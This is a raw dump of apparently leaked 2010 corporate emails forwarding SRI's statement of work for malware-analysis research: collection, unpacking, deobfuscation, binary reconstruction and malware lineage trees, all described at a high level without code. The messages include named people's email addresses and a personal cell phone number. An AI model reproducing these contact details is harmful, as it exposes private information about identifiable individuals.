SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 11:17 AM\r\nTo: Upchurch, Jason R.; Harlow, Douglas M.; Rodriguez, Harold; \'Vinod\r\nYegneswaran\'; Hassen Saidi\r\nSubject: FW: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:40 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from SRI (see below and attached SOW\r\nlanguage):\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture\r\ncapabilities for client-side malware, email-borne malware, and malware embedded\r\nin P2P networks. The goal of this research is to improve the diversity of the\r\nmalware binary collection sources.\r\n\r\n&nbsp;\r\n\r\nYear 1 (months 0- 6) prototype malware collection system\r\n\r\nYear 1 (months 6-12) refine development, delivery of system and\r\ncollected malware\r\n\r\nYear 2-EOP (Months 3, 6, 9, 12 ) Deliver collected malware\r\n\r\nYear 2 &#8211;EOP (Months 3, 6, 9, 12) Maintenance and report of\r\nmaintenance in period.\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nYear 1 research methods for unpacking/deobfusction, delivery of\r\nresearch paper at end of period.\r\n\r\nYear 1, concept prototype \r\n\r\nYear 2 &#8211; 3, refine de-obfuscation research and develop a\r\nprototype to cover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable\r\nreconstruction from disk based malware or malware memory extractions.&nbsp; The\r\ngoal of the research is to return code extracted from memory or code that has\r\nbeen obfuscated into an un-obscured executable file.&nbsp; This work includes\r\nbut is not limited to, extracting executables from process or full memory\r\ndumps, de-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding\r\nmalicious dll code to stand alone executables, and removing obfuscation and\r\nanti-analysis techniques such as chunking and suicide logic. The longer term\r\nobjective of this work is to enable the statically-informed binary execution or\r\npath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, paper and concept prototype as deliverable\r\n\r\nYear 2, refinement of research, paper and prototype deliverable\r\n\r\nYear 3 &#8211; EOP Path exploration , year 3 paper and concept prototype,\r\nyear 4 paper and prototype\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\nYear 1 research viability, paper as deliverable\r\n\r\nYear 2, IDA or other tool plug-in prototype\r\n\r\nYear 3, stand alone prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and\r\nprobabilistic algorithms and algorithms from computational biology to create\r\nlineage trees to identify the provenance of digital artifacts and improve\r\nunderstanding of software evolution. The goal of this research is to enable the\r\ninformed and automated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\nYear 1, study existing\r\nalgorithms for viability in this information space, deliver paper\r\n\r\nYear 2, deliver prototype POC\r\n\r\n\r\nYear 3, refinement and\r\nprototype.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational\r\nbiology gene sequence alignment algorithms involving the use of\r\nerror-correcting codes, infinite sites evolution, and Markov models of mutation\r\nto automatically deobfuscate code independent of what obfuscation techniques\r\nwere applied to the code.\r\n\r\n&nbsp;\r\n\r\nYear 1, evaluate viability of algorithms used in computational\r\nbiology for use in this information space, deliver paper\r\n\r\nYear 2, develop concept prototype system\r\n\r\nYear 3, develop prototype system\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath exploration.\r\n\r\n&nbsp;\r\n\r\nYear 1, providence prototype on Linux system, deliver concept\r\nprototype\r\n\r\nYear 2, providence analysis migration to MS systems, deliver\r\nconcept prototype\r\n\r\nYear 3, integrate providence analysis and UCB taint analysis,\r\ndeliver concept prototype\r\n\r\nYear 4, Integrate multipath exploration research into providence\r\nand taint research, deliver concept prototype\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings,\r\nreporting, demonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction\r\nclasses,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been\r\ncomputed.&nbsp; We formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of\r\nalignment is to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is\r\nespecially suited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when\r\nseveral criteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete\r\nunpacked code. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka\r\nframework to enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new\r\nunpacking technology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing\r\nand bigram analysis,\r\n\r\nspeculative api resolution, snapshot stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware\r\ndeobfuscation. \r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware\r\ntransformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We\r\nwill then automatically\r\n\r\nrewrite the binary\'s header to set the OEP and\r\nrebuild import tables.\r\n\r\nWe will also develop automated techniques for\r\ninformed reconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on\r\nfunctionalities.&nbsp; We will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be\r\nconstructed, organizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences\r\nabout high-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis has\r\nrevealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may\r\nyield false\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary\r\nReconstruction, \r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data\r\nprovenance traces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4670,'aaron_hbgary_com/4670.html'),(3644,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001843.M395565P3547Q3645.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: FYI: Details from SRI - tech area #1','Thanks. &nbsp;Did u send Pikewerks a SOW?AaronOn Mar 6, 2010, at 6:33 PM, Starr, Christopher H. wrote:Aaron, as soon as I hear back from SRI regarding their breakdown for the newly added SRI Task #0 below I will send this information to you as well.&nbsp;ChrisCell: 571-216-6140&nbsp;From:&nbsp;Starr, Christopher H.&nbsp;Sent:&nbsp;Saturday, March 06, 2010 6:31 PMTo:&nbsp;\'Phil Porras\'; \'Vinod Yegneswaran\'; Hassen SaidiCc:&nbsp;Upchurch, Jason R.; Vela, Ryan; Harlow, Douglas M.Subject:&nbsp;ACTION NEEDED: Details from SRI - tech area #1&nbsp;Phil, Vinod, Hassen, we inadvertently left off one SRI task for tech area #1 in what we sent you earlier to review.&nbsp; See Task #0 below (this is the one inadvertently left off), with the other tasks you have seen below it.&nbsp;Could you estimate, as you did with the other tasks, the year to year breakdown of how you would approach Task #0.&nbsp; Can you add this below (just a few lines) and send this information back to me as soon as possible (tonight or early Sunday)?&nbsp; Thanks!&nbsp;ChrisCell: 571-216-6140&nbsp;P.S. in task #0, “cyber genome” = Full code extraction; &nbsp;“cyber chromosome”= Function Signatures&nbsp;&nbsp;Subject:&nbsp;Details SRI - tech area #1&nbsp;1.1.0&nbsp; Task 0&nbsp;SRI shall research novel techniques in function abstraction for use in cyber genetic sequencing.&nbsp; The goal of this research is to abstract functions within software code to produce abstract&nbsp;cyber chromosomes&nbsp;that are independent of mutations caused by specific compiler methods and optimization.&nbsp; The long term goal of this research is to examine if abstraction during&nbsp;cyber genome&nbsp;sequencing is more advantageous than compensating for mutations caused by compiler specific methods and optimizations after sequencing.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.1.1&nbsp; Task 1&nbsp;SRI shall develop improved and multi-perspective malware capture capabilities including next generation honeynets, and capture capabilities for client-side malware, email-borne malware, and malware embedded in P2P networks. The goal of this research is to improve the diversity of the malware binary collection sources.&nbsp;Year 1 (months 0- 6) prototype malware collection systemYear 1 (months 6-12) refine development, delivery of system and collected malwareYear 2-EOP (Months 3, 6, 9, 12 ) Deliver collected malwareYear 2 –EOP (Months 3, 6, 9, 12) Maintenance and report of maintenance in period.&nbsp;&nbsp;1.1.2 Task 2&nbsp;SRI shall develop novel and scalable automated unpacking techniques for malware including dealing with multiply-packed malware and dynamic code not mapped to process memory. The goal of this research is to cover a large number of packing technologies.&nbsp;Year 1 research methods for unpacking/deobfusction, delivery of research paper at end of period.Year 1, concept prototypeYear 2 – 3, refine de-obfuscation research and develop a prototype to cover a large number of packing technologies.&nbsp;&nbsp;1.1.3&nbsp; Task 3&nbsp;SRI shall provide research in the area of executable reconstruction from disk based malware or malware memory extractions.&nbsp; The goal of the research is to return code extracted from memory or code that has been obfuscated into an un-obscured executable file.&nbsp; This work includes but is not limited to, extracting executables from process or full memory dumps, de-obfuscating packed malware, automatically rebuilding import tables, automatically locating and restoring the original entry point, rebuilding malicious dll code to stand alone executables, and removing obfuscation and anti-analysis techniques such as chunking and suicide logic. The longer term objective of this work is to enable the statically-informed binary execution or path exploration.&nbsp;Year 1, paper and concept prototype as deliverableYear 2, refinement of research, paper and prototype deliverableYear 3 – EOP Path exploration , year 3 paper and concept prototype, year 4 paper and prototype&nbsp;&nbsp;1.1.4&nbsp; Task 4&nbsp;SRI shall provide research support in the use of de-compilation as a litmus test to determine if machine code has been obfuscated.&nbsp; SRI shall coordinate with other team members involved in the code extraction segment of the project to apply this research to specific obfuscation problems encountered in code extraction.&nbsp;Year 1 research viability, paper as deliverableYear 2, IDA or other tool plug-in prototypeYear 3, stand alone prototype&nbsp;&nbsp;1.1.5 Task 5&nbsp;SRI shall develop a combination of Bayesian and probabilistic algorithms and algorithms from computational biology to create lineage trees to identify the provenance of digital artifacts and improve understanding of software evolution. The goal of this research is to enable the informed and automated malware forensic clustering.&nbsp;Year 1, study existing algorithms for viability in this information space, deliver paperYear 2, deliver prototype POCYear 3, refinement and prototype.&nbsp;&nbsp;1.1.6&nbsp; Task 6&nbsp;SRI shall develop techniques based on computational biology gene sequence alignment algorithms involving the use of error-correcting codes, infinite sites evolution, and Markov models of mutation to automatically deobfuscate code independent of what obfuscation techniques were applied to the code.&nbsp;Year 1, evaluate viability of algorithms used in computational biology for use in this information space, deliver paperYear 2, develop concept prototype systemYear 3, develop prototype system&nbsp;&nbsp;1.1.7 Task 7&nbsp;SRI shall develop taxonomy for data leakage based on categorization of system egress points, classification of sensitive data sources and functional elements in malware to guide inferences about high-level malware intent. The goal of this research is to enable behavioral malware classification based on provenance taxonomy and tracking access patterns for host applications. SRI will also combine taint analysis and provinence analysis to improve and guide multipath exploration.&nbsp;Year 1, providence prototype on Linux system, deliver concept prototypeYear 2, providence analysis migration to MS systems, deliver concept prototypeYear 3, integrate providence analysis and UCB taint analysis, deliver concept prototypeYear 4, Integrate multipath exploration research into providence and taint research, deliver concept prototype&nbsp;&nbsp;1.1.8&nbsp;&nbsp; Task 8&nbsp;SRI shall provide support for associated meetings, reporting, demonstrations and presentations.&nbsp;&nbsp;SRI&nbsp; Research Thrust Contributions&nbsp;1.&nbsp; Malware Comparison and Lineage Trees&nbsp;Horizontal Malware Analysis is an analysis technique and a tool SRIdeveloped to enable automated static analysis of a large corpus ofmalware in a scalable way.&nbsp; A core capability of the horizontalmalware analysis tool is its ability to produce a correspondencebetween unpacked disassemblies of different pieces of malware, whichwe refer to as a malcode mapping.&nbsp; Our algorithm consists of threesteps:&nbsp;&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety of features have beenconsidered in the literature for comparing malcodes. Our approachincorporates five features, two of which are at the subroutine leveland three others are the basic block level.&nbsp; We consider hashes ofsubroutine prototoypes, subroutine instruction classes,instructions,complete blocks without offsets, and complete blocks.&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce a correspondence between thebasic blocks of two different malware code sequences for whichthe multi-level hashes have already been computed.&nbsp; We formulatemapping as a minimization problem. The goal is to produce amapping between the basic blocks that minimizes the total cost.There is one obvious constraint: two basic blocks can be matchedto each other only if the subroutines they are in are alsomatched to each other.&nbsp;&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of alignment is to linearize themapping and isolate subroutines that exhibit differences.&nbsp; Wealso provide a visualization system that color codes basicblocks and presents the data in a visually descriptive way tothe human analyst.&nbsp;The mapping process above yeilds a way to assign a numerical matchingscore to any pair of malware disassemblies, i.e., the cost of theoptimal matching produced by the mapping.&nbsp; Having determined distancesbetween any pair of a set of artifacts, we propose to use one ofseveral phylogenetic algorithms which can be applied to construct amalware lineage tree relating the artifacts in the set,which can help identify provenance of digital artifacts andimprove understanding of malware evolution.&nbsp;&nbsp; Briefly, these algorithmsencompass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement: This uses simple distance measures, asdetermined above,&nbsp; to build trees by, e.g. neighbor joining.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood measurement: This algorithm builds trees thatmaximize the probability of the data.&nbsp; It is especially suited to becombined with Markov models.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony measurement: This algorithm is similar to maximumlikelihood but instead seeks to minimize the total number of changes inthe tree.&nbsp;As we can expect malware to come from different sources, we would needseveral disjoint lineage trees to represent the entire data set.&nbsp; Fora given, substantial set of artifacts, we expect the result to be aset of disjoint trees which, in total, represent the entire set.&nbsp; Weintend to use clustering techniques to partition the overall set ofartifacts into disjoint subsets, where each cluster will have anassociated lineage tree.&nbsp;Innovative Claims: Horizontal Malware Analysis; Phylogentic algorithmsfor malware lineage tree consturction&nbsp;Deliverables:- HMA Comparison System- Quantitative comparison study of lineage trees across multiple algorithms- Delivery of a software component integrating lineage trees with HMA&nbsp;2. Malware Unpacking and Call Site Resolution&nbsp;SRI will use its Eureka unpacking technology to automatically recoverunpacked executable images from packed binaries.&nbsp; Eureka implements acoarse-grained execution tracking strategy that allows for efficientmonitoring of malware execution progress.&nbsp; A memory snapshot istriggered by its hypothesis testing algorithm when several criteriaare satisfied. These criteria includes the number of system calls,process execution time, a bigram count indicating a sharp increase ofthe code to data ratio, or specific system calls such as process forkor terminate process. &nbsp;&nbsp;We will develop binary evaluation metrics with the purpose ofassessing the quality of the unpacked code and rerunning the Eurekaunpacker if necessary to obtain a more complete unpacked code. SRIwill implement its speculative API resolution algorithm toautomatically resolve call sites.&nbsp; SRI will deliver the post unpackinganalysis capability as an add on to the Eureka framework to enablefurther analysis and classification of malware.&nbsp;We also plan on developing additional criteria that determine the optimalmoment for taking a memory snapshot of the running process andrecovering the original entry point.&nbsp; We will also investigate novelways of hiding Eureka from being detected by the running binary toavoid triggering suicide logic.&nbsp; We will also exploresnapshot-stitching techinques for dealing with multi-stage packers andblock encryption.&nbsp; SRI will deliver new unpacking technology that willcover a large number of existing packing technology.&nbsp;Innovative Claims: Application of hypthesis testing and bigram analysis,speculative api resolution, snapshot stitching,&nbsp;Deliverables- Automated system for malware unpacking and API resolution&nbsp;3.&nbsp; Malware Deobfuscation to Enable Static Analysis&nbsp;SRI will build automated ways of recognizing obfuscated code andidentifying the obfuscation steps that have been employed to hinderautomated analysis. SRI will then provide automated ways ofsystematically undoing the work of obfuscators to restore the binaryto an equivalent but unobfuscated form. This will be done by usingbinary rewriting techniques. To validate the binary rewrite step, wewill use decompilation tools to recover a high-level C and C++ sourcecode of the binary code. By assessing the quality of the source code,we can assess the quality of our deobfuscation steps and can improveit accordingly. SRI will deliver a binary rewriting tool and thecorresponding deobfuscation rewrite rules.&nbsp;We propose to adapt and evaluate existing techniques fromcomputational biology to the problem of malware deobfuscation.In particular we use CB techinques to tackle the problem of comparingobfuscated malware code segments.&nbsp;Error Correcting Codes (ECC):&nbsp; We note that for everyobfuscation technique used in digital artifacts, there is an ECC whichmitigates the effect of the obfuscation.&nbsp; By using such codes, we canin effect make one digital artifact resemble another to an arbitrarydegree of accuracy and thus, we can determine the degree of originalsimilarity.&nbsp;Infinite Sites (IS): The IS evolution model makes it algorithmicallytractable to determine a series of changes that could transform oneartifact into another.&nbsp; The number and nature of the mutationsrepresents a distance between the two artifacts.&nbsp;Malware Markov Models (MM): If we know the probability of differentobfuscation types (which could be determined by data mining a set ofartifacts), we can build a Markov model that transforms any artifactinto any other and calculate a probability of that transformation.Once again, this probability represents distance between the twoartifacts.&nbsp;Deliverables&nbsp;- Ida plugin for deobfuscating basic malware transformations&nbsp;- Quantitative comparison study of two or more of these techniquesapplied to a small set of obfuscated malware.&nbsp;- Larger scale evaluation and delivery of a software componentthat efficiently compares similarity between obfuscated malware&nbsp;&nbsp;4. Statically Informed Malware Execution and Provenance Tracking&nbsp;The origin entry point of the malware binary is usually not known atthis point.&nbsp; We will employ novel approaches to determine the OEP inthe captured memory image of the process.&nbsp; We will then automaticallyrewrite the binary\'s header to set the OEP and rebuild import tables.We will also develop automated techniques for informed reconstructionof malware binaries to enable execution and bypass suicide logic.SRIwill use the output from static analysis of malware samples to enableguided executions of unpacked binaries.&nbsp; An important first steptoward this end is transforming automatically unpacked binaries torunning executables for example by fixing the origin entry point,reconstructing import tables and removing suicide checks.&nbsp; We willemploy novel approaches to determine the OEP in the captured memoryimage of the process and automatically 